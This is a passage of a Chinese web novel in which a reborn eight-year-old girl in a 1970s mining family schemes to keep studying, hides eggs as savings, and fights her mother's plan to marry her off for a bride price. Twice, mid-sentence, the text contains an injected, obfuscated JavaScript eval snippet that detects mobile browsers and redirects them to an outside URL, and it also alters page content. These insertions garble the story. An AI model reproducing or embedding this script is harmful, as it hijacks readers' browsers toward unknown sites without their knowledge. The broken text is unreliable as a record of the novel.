大哥南天贵被包兰芝惯得自私又理所应当,眼睛只盯着自己的好处,仿佛全家都欠他的。 小弟南峰还小,懵懂无知,除了吃和玩,脑子里不装事。 至于三妹南秀……现在才7岁,看着是个怯怯懦懦的闷葫芦,话比金子还贵。 可南雁知道,这丫头心思深着呢,上辈子父母晚年病重,工资卡、政府补贴啥的都被她攥在手心,除了大哥和四妹南玉偶尔能抠出点零碎,别人甭想沾边。 这一家子,掰着手指头数过去,就没个省油的灯! 个个都有自个儿的算盘。 与其指望他们哪天良心发现,或者突然变得通情达理,不如指望院里那两只老母鸡明天能下出金蛋来更实际些。 南雁停了笔,望向窗外。 几个半大孩子还在空地上疯跑,叫嚷声隔着玻璃飘进来,糊成一片模糊的热闹。 她得寻条路,一条能让她将来彻底蹬开这个家,堂堂正正活出个人样的路。 不能是空中楼阁,得是能一步一步踩实了的路。 读书,只有读书。 七七年恢复高考,距离现在还有四年。 四年时间,足够她打下坚实的基础。 上辈子她成绩平平,初中毕业就工作了,课本知识早就还给了老师。 这辈子,她必须比别人更早起步,更拼命。 可是,读书也需要条件。 安静的环境,充足的灯光,还有……时间。 包兰芝绝不会乐意看到她“不干活,光抱着书本装相”。 得想个办法。 正思忖着,外间传来包兰芝的大嗓门:“雁子!死屋里孵蛋呢?出来剁猪草!没听见猪都饿得嗷嗷叫了?” 南雁合上作业本。 家里的两头猪是重要的财产,年底杀了吃肉,卖钱,是家庭一项不小的进项。 这活她躲不掉,也没理由躲。 她走出去。 猪草是早就打回来的,带着泥腥气,堆在墙角。 剁猪草的厚木砧板放在院子一角,一把厚重的刃口有些钝了的菜刀插在旁边。 南雁挽起袖子,费劲地把猪草抱到砧板前。 她人小力气弱,挥舞起那把大菜刀很是吃力,只能一点一点地剁。 冰冷的刀柄硌着手心,没一会儿就磨得发红发疼。 包兰芝在灶台边哐哐当当地和面,准备蒸下一顿的窝头,眼角余光瞥见她笨拙又认真的样子,鼻子里不轻不重地哼出一声,像是嘲讽,又像是某种默认,到底是没再甩出什么更难听的闲话。 剁完猪草,拌上麸皮和刷锅水,提到矮墙围起来的猪圈。 两只黑底白花的大猪立刻哼哼唧唧地凑到石头食槽边,长嘴巴拱来拱去,抢食吃得呱嗒响,溅出不少浑浊的汁水。 南雁看着它们,心里的小算盘拨得噼啪响。 养猪是包兰芝一手抓的,收入也捏在她手里。 如果能想办法让猪长得更好,出栏更早,或者……能不能自己也沾点边,攒下一点点? 这个念头一闪而过,很快又被她自己按了下去。 难。 包兰芝把钱看得比命根子还重,从她紧紧攥着的手指缝里漏点渣滓出来,比让公鸡下蛋还难。 而且一旦被发现,后果不堪设想。 南雁忙完猪的伙食,又被指使着去院角的自留地摘晚上要吃的菜,然后是一大盆全家人的脏衣服。 冰冷的井水刺得她骨头缝都发疼,手指头很快冻得像十根红萝卜。 等一切杂七杂八的活计忙完,天已经擦黑了,父亲南秉义和大哥南天贵也陆续回来了。 南秉义一身灰,沉默地洗脸洗手。 南天贵一进门就嚷嚷饿,眼珠子直往锅里溜。 南峰此刻也醒了,麻溜地爬下床直接扑到包兰芝腿边,吵着要吃的。 晚饭依旧是玉米面窝头,一大盆白菜炖粉条,里面零星几点油花。 唯一的荤腥是一小碟咸鱼干,是包兰芝特意夹到南天贵和南峰碗里的。 南雁默默地啃着自己的窝头,就着寡淡的白菜粉条。 “爸,”南天贵咬了口咸鱼,含糊不清地说,“我们体育老师说了,下个月矿上要组织子弟小学篮球比赛,赢了的有奖励!我想要双新的白球鞋,我们班二狗他爸就给他买了,回力的!可神气了!穿上跑得飞快!” 包兰芝立刻接话:“买!必须买!我儿子要去比赛,怎么能没双好鞋?回头妈就给你拿钱!可不能让我儿子丢面子!” 南秉义从饭碗上抬起眼皮,“唔”了一声,算是默许,继续埋头苦干。 南雁心里冷笑。 一双回力球鞋,起码得五六块钱,够家里买多少斤粮食了。 南天贵要,就是“必须买”。 她想要个新的作业本,都得磨半天,最后用的还是南天贵写剩的背面,密密麻麻的字迹得费劲辨认。 “我也要!我也要新鞋!”南峰看哥哥有,也跟着起哄,小孩子的攀比心不分场合。 “有你什么事!吃你的饭!你哥是去比赛,你凑什么热闹!”包兰芝瞪了他一眼,语气却并不严厉,带着点对幼子的纵容。 南峰瘪瘪嘴,没敢再闹,低头狠狠咬了一口窝头。 南雁快速吃完自己那份,放下碗筷:“我吃好了。” “碗刷了去。”包兰芝头也不抬。 南雁没说什么,收拾了碗筷去外间。 冰冷的水再次浸没双手。里屋传来南天贵兴奋地谈论篮球鞋的声音,和包兰芝附和的轻笑。 她刷着碗,眼神却越来越沉静。 晚上,一家人挤在床上。 南秉义靠着炕头吧嗒旱烟,烟雾缭绕。 南天贵和南峰早已睡得四仰八叉。 包兰芝就着昏暗的灯泡纳鞋底。 南秀、南玉、南春并排蜷缩在最里面,呼吸轻微。 南雁拿出课本,假装温习。 灯光昏黄,看久了眼睛发涩。 包兰芝撩起眼皮看了她一眼,撇撇嘴:“点着灯费电,快点看完睡了。当自个儿是资本家小姐呢,熬夜点灯。” “嗯,马上。”南雁低声应道。 她看的却不是课本,而是一本从刘小萍那儿借来的破旧《新华字典》。 这是她目前能找到的最好的学习工具。 她知道,光是这样偷偷摸摸地学不行。 她需要一个借口,一个能让她正大光明地看书学习,甚至……让精于算计的包兰芝觉得“有利可图”,从而默许甚至支持的借口。 机会很快来了。 几天后,矿上子弟小学进行了一次简单的随堂测验。 南雁有意控制着,没有考得太扎眼,但比起她以往中游偏下的成绩,还是进步了不少,语文尤其明显,好几个成语解释都答对了。 李老师在下课后叫住了她,脸上带着点难得的笑意:“南雁,这次考得不错啊,尤其是词语解释,很有进步。继续保持。” 声音不大,但足够让周围几个还没离开的同学听见。 南雁适时地低下头,做出腼腆又有点小骄傲的样子,手指绞着衣角:“谢谢李老师。” 放学路上,刘小萍挽着她的胳膊,叽叽喳喳像只快活的麻雀:“雁子,你真行啊!李老师可是咱们年级出了名的严师,很少夸人的!你咋突然开窍了?吃了啥灵丹妙药?” 南雁笑了笑,没直接回答,反而说:“小萍,你说,要是考试考好了,能不能有啥好处?” “好处?能有啥好处?顶多就是回家少挨顿骂呗。”刘小萍不以为然,“哦,对了,要是期末考得好,能得张奖状,说不定还能奖励个笔记本铅笔啥的。” “我是说……”南雁斟酌着词句,“比如,让家里觉得……读书也挺好?” 刘小萍眨眨眼,没太明白:“读书好不是应该的吗?不过我爸说了,认得几个字不当睁眼瞎就行,闺女家家的,最后还是得嫁人过日子。” 南雁心里一沉,像掉进了冰窟窿。 这就是普遍的想法。 但她不死心。 晚上吃饭时,趁着包兰芝心情似乎还不错,南雁状似无意地提起:“妈,今天李老师夸我了。” 包兰芝正给南峰夹菜,闻言眼皮都没抬:“夸你啥?夸你吃得多?” 旁边的南玉没忍住,“嗤”地一声笑出来,被包兰芝瞪了一眼,赶紧埋头吃饭。 南雁攥了攥筷子,继续说:“说我学习有进步,这次测验比好多男生考得都好。老师说,女孩子脑子灵光的也不少,将来要是能考上初中、高中,说不定也能有出息,给家里争光。” 她故意把“比男生考得好”和“有出息”咬得重了些。 包兰芝夹菜的动作顿了一下,狐疑地看向她:“真的?李老师真这么说的?” 老师的话,在她心里还是有几分重量的。 “嗯。”南雁用力点头,趁热打铁,开始小心翼翼地画饼,“老师还说,现在矿上领导都重视教育,将来有文化、有文凭的,肯定比没文化的强,能找着更好的工作,挣更多的钱。” 这话半真半假。 李老师确实夸了她,但后面那些是她自己加的。 她需要抬高“读书”在包兰芝心里的分量。 南秉义难得地抬起头,看了南雁一眼,又低下头继续吃饭,没说话。 包兰芝脸上闪过盘算的神色,眼珠子转了转,但很快又被根深蒂固的观念顶替,她撇撇嘴,语气带着惯有的不屑:“出息?丫头片子能有多大出息?最后不都得嫁人?成了别人家的人!读那么多书有啥用?净是白费钱!还不如早点下来干活实在!” 南雁的心凉了半截,像被泼了一瓢冷水。 果然如此,重男轻女的思想像一堵厚实的墙,不是三言两语就能撼动的。 “怎么没用?”南雁不死心,努力让声音听起来更急切,更“为家里着想”,甚至带上了点描绘美好蓝图的味道,“妈,你想想,要是以后我真能考上高中,甚至……甚至万一走了狗屎运,能考上中专呢?那可就是国家干部了!能吃上商品粮,拿固定工资!一个月好多钱呢!听说刚毕业就能拿三十多块!到时候就能帮衬家里,帮衬大哥娶媳妇,帮衬小弟上学了!这不比早早下来干活、挣那点临时工的钱强多了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南雁知道,这顶多算是在那堵厚墙上用指甲抠出了一个小白点,离凿开窗户还远得很。 包兰芝的“支持”脆弱而功利,像玻璃上的霜花,太阳一晒就化。 一旦短期内见不到她所期待的“好处”,或者有更直接、更巨大的利益诱惑出现——比如真有人家拿着厚厚的彩礼上门来说亲,她随时可能翻脸,把南雁和她的书本一起扫进“不切实际”的垃圾堆。 虽然她现在这豆芽菜身板加上那点腿脚毛病,多半没啥“好人家”看得上,可命这玩意儿,谁说得准? 万一呢? 所以,她必须更快地让自己强大起来,强大到足以抵挡这些不可控的风险。 南雁学得更拼了,像饿极了的人扑到面包上,抓着所有能利用的零碎时间。 上课瞪圆了眼听,生怕漏掉一个字;下课别的孩子疯玩,她紧赶着把作业在学校写完。 回家干活,脑子里也不闲着,喂猪时默默背课文,洗衣裳时心里默算算术题。 同时,她也更加留意着家里的风吹草动,留意着包兰芝的情绪变化和与周围邻居的往来。 她知道,像孙婶那样盯着别人家锅里的,绝不会只有一个。 这个家,就像一艘在风浪里颠簸的破船,她得时刻警惕,才能避免被甩出去,或者……在船沉之前,找到一块能赖以漂浮的木板。 * 周末,包兰芝带着南峰去矿上澡堂洗澡。 南雁被留在家里打扫卫生。 擦桌子时,她无意中看到炕席底下靠近包兰芝枕头的位置,露出一个旧信封的一角,灰扑扑的,很不起眼。 她心里莫名一跳,有种不好的预感。 下意识地,她左右看看,确定屋里没人,然后小心翼翼地抽出那个信封。 信封很旧,边缘都磨毛了,没有贴邮票,上面用铅笔写着几个歪歪扭扭、缺胳膊少腿的字:“兰芝姐亲启”。 鬼使神差地,南雁的心跳加速,她轻轻打开了信封。 里面只有一张薄薄的信纸,纸质粗糙,上面的字迹同样拙劣,内容却像一把冰冷的锥子,猛地扎进了她的心口,让她瞬间手脚冰凉。 信是包兰芝远房表妹写来的,大概意思是说,她婆家那边有个侄子,年纪比南雁大不少,腿脚同样有点毛病,但家里条件还行,愿意出“这个数”的彩礼,问包兰芝有没有意愿先相看相看,等南雁再大两岁就定下…… 信末尾那个用红笔特意描粗了的“数”,像烧红的烙铁,烫得南雁眼睛生疼,让她看得从头到脚都凉透了。 那笔钱,足够买好几辆自行车了。 包兰芝竟然……早在暗中给她相看人家了! 她才八岁! 难怪……难怪她之前提起读书“有出息”,将来“帮衬家里”时,包兰芝是那种将信将疑,甚至带着点嘲讽的反应。 在她心里,女儿终究是别人家的人,是“泼出去的水”,早点用她换一笔实实在在看得见摸得着的彩礼才是正理!才是最“划算”的买卖! 什么中专、工资,画得饼再大再圆,也不如眼前这真金白银的诱惑来得直接可靠! 南雁飞快地把信按原样折好,塞回信封,再小心翼翼地塞回炕席底下,尽量不留下任何翻动过的痕迹。 她的心脏在胸腔里怦怦狂跳,像要撞出来一样,一股冰冷的寒意从脊椎骨一路窜上来,蔓延到四肢百骸。 时间,比她想象的更紧迫。 她不能再温水煮青蛙似的等包兰芝转性。 她必须主动出击,必须尽快攒下一点属于自己的东西,哪怕微不足道,也是一条退路。 她的目光落在窗外那两只哼唧的老母鸡上。 鸡蛋…… 5. 不请自来(修) 那只勤快的母鸡,是家里一个稳定的“分分钱”来源,地位仅次于那两头猪。 包兰芝通常会把鸡蛋攒起来,攒够一小篮,就拿到矿家属区边缘那个自发形成的小集市上去卖,换回来的钱,有时会割一小条肥肉炼油,有时会称点盐巴酱油,偶尔,极偶尔,会给南天贵或南峰买个冰棍或者果丹皮解馋。 至于南雁和几个妹妹,别说冰棍、果丹皮了,连蛋花汤都难得喝上一口。 包兰芝总说“丫头片子喝了浪费,得留给带把的补身子”。 更别说摸到卖鸡蛋的钱了,那钱像是长在包兰芝裤腰带上,谁碰一下都要被剜着眼珠子骂半天。 以前,南雁觉得理所当然,女孩嘛,有好东西自然该紧着家里的“根苗”。 可现在,这念头让她只想冷笑。 那只不下蛋的母鸡,开春后确实就该处理掉了,留着也是浪费粮食。 但那只下蛋勤快的……南雁盯着鸡窝角落那堆干草,眼睫毛颤了颤。 她不能明目张胆地拿鸡蛋去卖,那等于从包兰芝口袋里抢钱,立刻就会招来一顿毒打和更难听的辱骂。 她得想个更隐蔽的法子。 第二天喂鸡的时候,南雁格外留意。 她发现,那只花母鸡通常是在上午九十点钟,阳光照到鸡窝角落的时候下蛋。 下完蛋,它会梗着脖子“咯咯哒”地叫,声音亮得能传到隔壁院,仿佛在向全世界宣告自己的功劳。 包兰芝听到叫声,总会趿着布鞋从屋里出来,围裙上还沾着锅灰,一边骂骂咧咧“叫魂呢”,一边伸手往草堆里摸,摸到蛋时指节会不经意地蜷一下,像是握住了什么宝贝。 于是,南雁心里有了个模糊的计划。 她需要在包兰芝听见叫声前,先把蛋摸出来,还得让那只鸡“忘”了叫唤。 机会在一个周三的上午来了。 包兰芝要去矿上领这个月的劳保用品,蓝布工装和肥皂,来回得一个多小时。 南雁头天晚上着了凉,早上起来咳得胸口发闷,包兰芝破天荒地没催她去上学,只丢了句“在家歇着,看好你弟,别让他往煤堆里钻”,就揣着布包出了门。 包兰芝前脚刚走,南雁后脚就竖起了耳朵。她假装在院子里扫地,眼睛却不时瞟向鸡窝。 果然,快到平时下蛋的点儿,那只花母鸡开始不安分了。 它在鸡窝边来回踱着,爪子刨得地上的土簌簌掉,最后一扭屁股,钻进草堆里趴了下来,尾巴根的毛都绷紧了。 南雁的心提到了嗓子眼,她握紧了手里的扫帚,既期待又紧张。 时间一分一秒过去,院子里静悄悄的,只有母鸡偶尔发出的“咕咕”声。 南雁几乎能听到自己心跳的声音。 终于,母鸡猛地抖了一下,屁股后面露出个白生生的尖儿。 它的脖子开始往上伸,喙张得老大,眼看就要发出那声标志性的“咯咯哒”。 就是现在! 南雁几乎是扑过去的。 动作快得像阵风,八岁孩子的小身板爆发出惊人的敏捷。 她左手虚虚按在母鸡背上,指尖能摸到羽毛下温热的骨架,右手像长了眼睛似的,精准地从草堆里捞起那个圆滚滚,滑溜溜,还带着母鸡的体温鸡蛋。 那鸡蛋在掌心里微微发烫。 同时,她往母鸡耳边凑了凑,喉咙里挤出低低的“嘘——嘘——”声,像在哄哭闹的婴儿。 母鸡被这突如其来的举动弄懵了。到了嘴边的啼叫卡在喉咙里,变成一声短促又疑惑的“咯?”。 它歪着脖子,黑亮亮的眼珠盯着南雁,像是在问“你干啥”。 南雁顾不上许多,她飞快地把鸡蛋揣进怀里——早就把破棉袄最里层缝了个小兜,里面垫着块软布。 鸡蛋贴着心口,能感觉到那点温热透过布层渗进来,和她狂跳的心脏隔着一层薄薄的棉絮,一起一伏。 手心全是汗,把鸡蛋壳濡得更滑了。 她觉得自己像个真正的贼,刚从老虎嘴里叼走了一块肉。 可这又算什么贼呢? 她不过是从这个从来没给过她半分疼爱的家里,“偷”回一点点本该属于她的东西。 她迅速退开,拿起扫帚继续扫地,竹枝划过地面的声音有点发飘。 母鸡在原地转了两圈,没再叫唤,似乎也接受了蛋已不见的现实,踱着步子去找食去了。 第一个鸡蛋,到手了。 南雁强作镇定地扫完院子,进屋时手指还在发颤。 她把鸡蛋从怀里掏出来,在昏暗的光线下看了看。 小小的,白壳,上面沾着一根细绒毛。 她掀开炕席最里头,靠近墙壁的地方有道窄缝,干燥,阴凉,是她摸索了好几天才找到的藏身处。 她小心翼翼地把鸡蛋塞进去,指尖碰到冰凉的墙皮,才觉出点踏实。 这只是第一步。 一个鸡蛋卖不了几分钱,她得攒,像燕子衔泥筑巢那样,一点点攒出条活路。 但她不敢太贪心。 包兰芝精得像只老狐狸,鸡蛋攒到多少个,心里门儿清。 南雁算着日子,专挑包兰芝赶集或不在的日子下手,一次只拿一个,多了容易露馅。 与此同时,她把更多精力投入到了学习上。 李老师的表扬似乎起了点微弱的作用,包兰芝虽然依旧念叨“丫头读书无用”,但至少在她看书时,骂声少了些。 南雁知道,这只是暂时的平静,那封说亲的信像一把达摩克利斯之剑,悬在她的头顶,指不定哪天就砍下来,把她大卸几块。 她必须让“读书有用论”在包兰芝心里扎根更深。 饭桌上,她开始有意无意地“说闲话”。 “妈,今天看见矿长家的小儿子了,背着新书包,李老师说他考试总拿第一,矿长见人就夸‘我家小子将来要上大学’。”她扒着碗里的红薯粥,声音不大不小,刚好能让全桌人听见。 包兰芝撇撇嘴,没接话。 南秉义抽着旱烟,“嗯”了一声。 过了两天,她又说:“矿部办公室新来的那个文书,是个女的,听说高中毕业呢。穿的确良衬衫,不用下井,天天坐在屋里写字,工资比我爸还多两块。” 这次包兰芝接了句:“那是人家命好。” 筷子却在碗沿顿了一下。 再后来,她听见李老师和别的老师闲聊,提到“恢复高考”的事,回来就跟南秉义说:“爸,李老师说,以后有文化的人能考大学,考上了就是国家干部,吃商品粮,还能把家里人户口转成城镇的。” 她说这话时,眼睛瞟着包兰芝,看她端着碗的手紧了紧。 这些话像撒种子,一句句落在包兰芝心里。 她在盘算,一边是眼前的彩礼,能立刻换两头猪,甚至能给南天贵攒点将来娶媳妇的钱;一边是南雁画的饼,虽远,却透着金晃晃的光。 南雁看得出,包兰芝在动摇,这种动摇源于贪婪,既想抓住眼前的实惠,又舍不得放弃可能更大的饼。 然而,这种微妙的平衡,在一个周末被打破了。 那天,包兰芝那个远房表妹,也就是写信来的那位,竟然找上门来了。 女人三十来岁年纪,穿着件半新的蓝布罩衫,脸上带着惯有的讨好又精明的笑容,手里还拎着个小布包,里面大概是些乡下带来的干菜之类不值钱的东西。 “兰芝姐!哎哟,可算找着你了!咱矿上这房子盖得都一个样,可把我绕晕了!”表妹一进门就热情地嚷嚷开了。 包兰芝显然有些意外,但更多的是警惕和心虚。她接过布包,嘴上客气着:“哎呀,你来就来,还带什么东西!快屋里坐!” 眼神却飞快地瞟了南雁一眼。 南雁正在灶台边洗碗,心里咯噔一下,暗叫不好。 这女人此时上门,绝不仅仅是串亲戚那么简单。 “这不上回给你写信,没见你回,我就亲自跑一趟嘛!”表妹跨进院门,眼睛在院里扫了一圈,最后落在灶台边的南雁身上,笑盈盈地打招呼:“这就是雁子吧?都长这么高了。” 南雁低着头,没吭声。 进屋没说两句家常,表妹就开始东拉西扯,最后终于绕到正题上。 她往包兰芝身边凑了凑,声音压得低了些,却故意让坐在灶台边的南雁能听见:“兰芝姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458127|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上回我信里提的那事儿……你考虑得咋样了?” 包兰芝端着茶杯的手顿了顿,杯沿的茶渍印在她手背上:“啥事儿?我这儿忙得忘性大。” “哎哟,就是雁子的事儿啊!”表妹拍了下大腿,声音陡然拔高,“那边可是催得紧呐!说好几家都盯着呢!人家条件是真不错,虽说那孩子腿脚不太利索,可家里就一个独苗,爹妈都能干,说了,媳妇过去肯定当宝贝疙瘩疼!” 她凑近包兰芝,伸出三根手指头,晃了晃:“那彩礼……可是这个数!够你家买两头半猪了!” 南雁的心瞬间沉到了谷底。 把她当牲口卖呢? 她死死攥着手里的抹布,指节发白,心里像被塞进一把碎玻璃,又扎又堵,喉咙里全是腥甜的气。 包兰芝的脸上闪过一丝尴尬和犹豫,她支吾着:“这个……孩子还小,再说……再说现在都兴自由恋爱,我们这当爹妈的……” “哎哟我的好姐姐!自由恋爱能当饭吃?”表妹拍着大腿,一副推心置腹的样子,“现在啥时候了?还能由着孩子性子来?咱当大人的不得替他们把把关?现在定下来,等过两年大了再过门,啥也不耽误!再说了,雁子这丫头……” 她瞟了南雁一眼,声音里带着点说不清的意味,“老实是老实,可你看她那身板,还有那腿……将来能找个啥样的?咱得现实点!这户人家,真是顶好的了!错过了这村,可就没这店了!” 这话像针一样扎在南雁心上,她的左腿比右腿要稍微短一点点,走快了就有点坡。 但她的腿不是天生的,至于怎么变成这样的,她也不知道,没人告诉她。 她也问过父母,可他们总是闭口不谈,久了,她也习惯了。 就算知道原因又有什么用呢? 反正也治不好了。 前世,女儿小安长大能赚钱后,就曾带她去大城市看过腿,那个医生还是骨科极权威的专家。 连他都说治不好了,这辈子又有谁能治好她呢? 同样表妹的这句话也戳中了包兰芝最现实的考量。 是啊,南雁的条件摆在那里,在婚嫁市场上确实不占优势。 这户人家愿意出高价彩礼,在包兰芝看来,简直是“冤大头”式的良机。 南雁看见包兰芝的嘴唇动了动,像是要说“行”。 不能再等下去了,在等下去,她很可能就被说动,哪怕只是口头先应承下来,对她来说都是灭顶之灾。 南雁深吸一口气,走到屋中间,脸上带着点恰到好处的天真,还有一丝被惊扰的委屈,声音清亮地打断了她们:“妈,表姨,你们在说啥呀?啥过门?啥彩礼?是说我吗?” 包兰芝和表妹都吓了一跳,显然没料到她敢插话。 包兰芝的脸瞬间沉了下来,呵斥道:“大人说话,小孩插什么嘴!洗你的碗去!” 表妹也赶紧打圆场,笑容僵硬:“没啥没啥,雁子你别听岔了,表姨跟你妈唠家常呢。” 南雁却不肯罢休,她往前走了一步,眼睛直直地看着包兰芝,脸上带着与她年龄不符的执拗和冷静:“妈,李老师前天还找我谈话呢。” 包兰芝一愣:“李老师?她又找你干啥?” “李老师说,我这次期中考试,语文考了全班第三,数学也进步了。”南雁没说自己其实是第五,只捡好听的说,“老师说,照这个势头,我考初中肯定没问题,说不定还能争保送高中的名额。” 她顿了顿,看包兰芝的眉头松了点,赶紧趁热打铁:“矿中学高中部,每年都有考上中专、大学的。李老师说,考上了就是国家干部,吃商品粮,工资比矿长还高,将来还能把家里人都接到城里去住砖瓦房。” 她一口气说完,不给包兰芝打断的机会,然后紧紧盯着母亲的眼睛,一字一顿地问:“妈,我不想这么早说婆家。我想读书。我想像李老师说的那样,将来有出息,挣大钱,好好孝敬你和我爸。行吗?” 屋子里瞬间安静下来。 表妹张着嘴,一脸错愕,显然没料到这个看起来闷不吭声的小丫头,能说出这么一大套条理清晰,甚至带着点威胁的话来。 包兰芝的脸色更是变幻莫测。 6. 新麻烦(修) 南雁的话,像颗石子投进包兰芝心里那潭算计的浑水,霎时搅起圈圈涟漪。 一边是表妹嘴里近在眼前的彩礼,真金白银沉甸甸的;一边是女儿描摹的遥远图景——“铁饭碗”“光宗耀祖”,听着倒也诱人。 李老师那句肯定,又给南雁的话添了几分实在的底气。 她看看南雁那双亮得灼人的眼睛,又看看表妹那张急于促成好拿谢媒钱的脸,心里乱成了一团麻。 她当然看重钱,可也极其好面子。 矿区的邻居们眼睛都尖,谁家姑娘嫁得好、谁家小子有出息,能嚼上大半年。 若南雁真能读出名堂,将来考上初中、高中,甚至像城里姑娘那样进工厂当干部,往后她走在巷子里,腰杆都能挺得更直,可比早早把人嫁给邻村那个瘸腿汉子体面多了! 表妹见包兰芝眼神游移,忙不迭往火上添柴:“兰芝姐你可别糊涂!读书那是天上掉馅饼的事?多少小子都读不出来,她一个丫头片子能成精?等耽误到十八九,书没读出来,好人家也挑完了,到时候哭都找不着调!这户人家可是托了三回媒人,彩礼一分不少,过了这村可没这店! “表姨。”南雁突然抬眼,声音不高,却像淬了冰,直直刺过去,“我的亲事,就不劳您费心了。我现在只想把书读好。您说的那户人家条件再好,也请留给更盼着嫁过去的姑娘——我不稀罕。” 拒绝的话像块石头,砸得表妹脸色瞬间涨成猪肝色。 她指着南雁,手指抖得厉害,半天说不出完整的话,扭头就冲包兰芝喊:“兰芝姐你听听!这叫什么话?才多大点就敢跟长辈顶嘴,将来还得了?翅膀还没硬呢,就敢翻天了!” 包兰芝被两头的话搅得心烦,猛地一拍炕沿,炕桌上的搪瓷缸都震得跳了跳:“吵什么吵!丫头片子懂个屁!” 话虽冲,却明晃晃把矛头对准了南雁,可末了又挥挥手,语气软了半截,“这事先撂着!孩子还小,说这些太早!” 明摆着是缓兵之计。 表妹一看这架势,知道今天讨不到好,狠狠剜了南雁一眼,嘴里嘟囔着“真是好心当成驴肝肺”,摔门走了。 门“砰”地撞上,屋里霎时静得能听见窗外的风声。 包兰芝转过身,死死盯着南雁,那眼神像要把她从里到外扒层皮。 这丫头,啥时候变得这么有骨头了? 以前打不还手、骂不还口,如今居然敢跟长辈叫板,还敢拒了亲事。 良久,她突然冷笑一声,伸手戳了戳南雁的额头:“读!我让你读!可你给我记好了,要是到期末考不出个一二三,或者敢在学校惹是生非,我就把你这书本全撕了,连夜送你去那户人家当媳妇!到时候可别怨我心狠!” 南雁攥紧的拳头悄悄松开,后背已沁出一层冷汗——这关,算是闯过去了。 可她比谁都清楚,包兰芝的话不是吓唬人,这“允许读书”的许可,不过是张随时能作废的空头支票,全看她能不能拿出实实在在的成绩来填。 她低头应了声“知道了”,转身回到自己睡觉的角落,手指下意识地摸向炕席底下,那里,已经悄悄藏了三枚鸡蛋了。 这是她微不足道的“私房钱”,是她反抗命运的第一笔资本。 窗外,矿区的广播突然响了,下班的号声穿透寒风,混着自行车的铃铛声、工人的说笑声涌进来。 各家屋顶的烟囱里冒出炊烟,带着玉米糊糊和白菜的味道,在灰蒙蒙的天空下缠成一团。 南雁知道,属于她的战斗,才刚刚开始。 未来的路布满荆棘,但她已经握紧了拳头,准备披荆斩棘。 她不仅要读书,要逃离,还要活得比任何人都精彩。 那些曾经轻视她、抛弃她、试图掌控她命运的人,终将看到,这只被他们视为累赘的“南雁”,如何振翅高飞,直上青云。 她的目光越过低矮的平房,望向远处灰蒙蒙的天空,眼神坚定而锐利。 * 腊月的风跟小刀子似的,刮在脸上生疼。 天还没亮透,窗玻璃上结着厚霜花,南雁就被外间“哐当”一声水桶撞地的响惊醒。 她第一反应是摸炕席底下,三枚鸡蛋安安稳稳躺在软布里,硌得手心发暖,心里也跟着踏实了些。 “雁子!死睡啥?还不起来挑水去!缸都见底了!”包兰芝的嗓门穿透薄薄的土墙,带着清晨特有的沙哑和不耐烦。 南雁麻利地套上棉袄,领口磨得发亮,冷风顺着缝隙往里钻,冻得她一哆嗦。 她没敢耽搁,拎起门后那对半旧的木桶——桶沿磕了好几个豁口,是大哥南天贵小时候挑水摔的,后来就一直归了她。 矿区的水井在家属区东头,离她家得走两里地。 路面结着薄冰,踩上去“咯吱”响,像踩在碎玻璃上。 南雁得弓着腰,把水桶绳往胳膊上多缠两圈,才能免得桶晃荡着溅出水来。 水桶不轻,才走了半里地,她的肩膀就开始发酸,胳膊也隐隐作痛,可她不敢停。 包兰芝要是等急了,又是一顿骂。 天刚蒙蒙亮,路上已经有不少早起的工人,穿着下井的工装,往矿井口走,嘴里呵出的白气一串接一串。 “雁丫头,这么早挑水啊?”路过的是张叔,父亲南秉义的老工友,脸上总带着笑,手里还攥着个凉窝头,“你爸今天上早班,刚走没一会儿。” 南雁点点头,没多说话。 她知道,这些叔叔伯伯看着和气,可背后说不定也议论过她家的事——比如她那点腿脚毛病,比如包兰芝总把好东西紧着儿子。 挑着水往回走时,太阳刚露出一点边,把矿区的井架染成淡淡的金红色。 南雁走得慢,桶里的水晃出来,溅在裤脚上,很快就结成了冰碴子,冷得她腿肚子发僵。 她脑子里却没闲着,默背着昨天学的课文:“春天来了,柳树绿了……” 一字一句,像在心里刻字,生怕一不留神就忘了。 回到家时,包兰芝已经在灶台忙活了,锅里煮着玉米糊糊,冒着一股寡淡的热气。 小弟南峰正坐在门槛上,手里攥着半块昨天剩下的窝头,看见她就嚷嚷着:“大姐,我要喝水!” “急啥!等你大姐把水倒缸里!”包兰芝瞪了南峰一眼,又转头冲南雁喊,“雁子,快点!倒完水把猪食剁了,一会儿还得去给你哥洗队服——他今天下午篮球比赛,别耽误了!” 南雁应了声,把水倒进缸里,水桶刚放下,就拿起墙角的菜刀和猪草。 剁猪草的砧板是块老松木,裂了好几道缝,刀也钝,她得用尽全力,才能把猪草剁得碎些。 没一会儿,手心就磨得发红,胳膊也酸了,可她不敢停。 包兰芝的眼睛盯着呢,稍微慢一点,就会招来一顿骂。 正剁着,刘小萍跑了进来,喘着气说:“雁子!不好了!李老师说……说下午要开表彰大会,期中考试前五名有奖励!” 南雁手里的刀顿了顿,心里“咯噔”一下。 她上次跟包兰芝说考了第三,其实是第五,可第五也能得奖励——李老师说过,是笔记本和铅笔,都是她现在急需的。 “知道了。”南雁低声说,怕被包兰芝听见。 可包兰芝还是听见了,从灶台探出头:“表彰大会?啥表彰大会?你又在学校瞎折腾啥?” 刘小萍嘴快,抢着说:“包婶,是期中考试表彰!雁子考得好,能得笔记本呢!” 包兰芝撇撇嘴,手里的锅铲“哐当”撞了下锅沿:“笔记本有啥用?能当饭吃?还不如多剁点猪草,让猪长得肥点!” 说完,又把头缩回去,继续搅锅里的糊糊 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“校长给的奖励,笔记本能写字,铅笔也能用。” 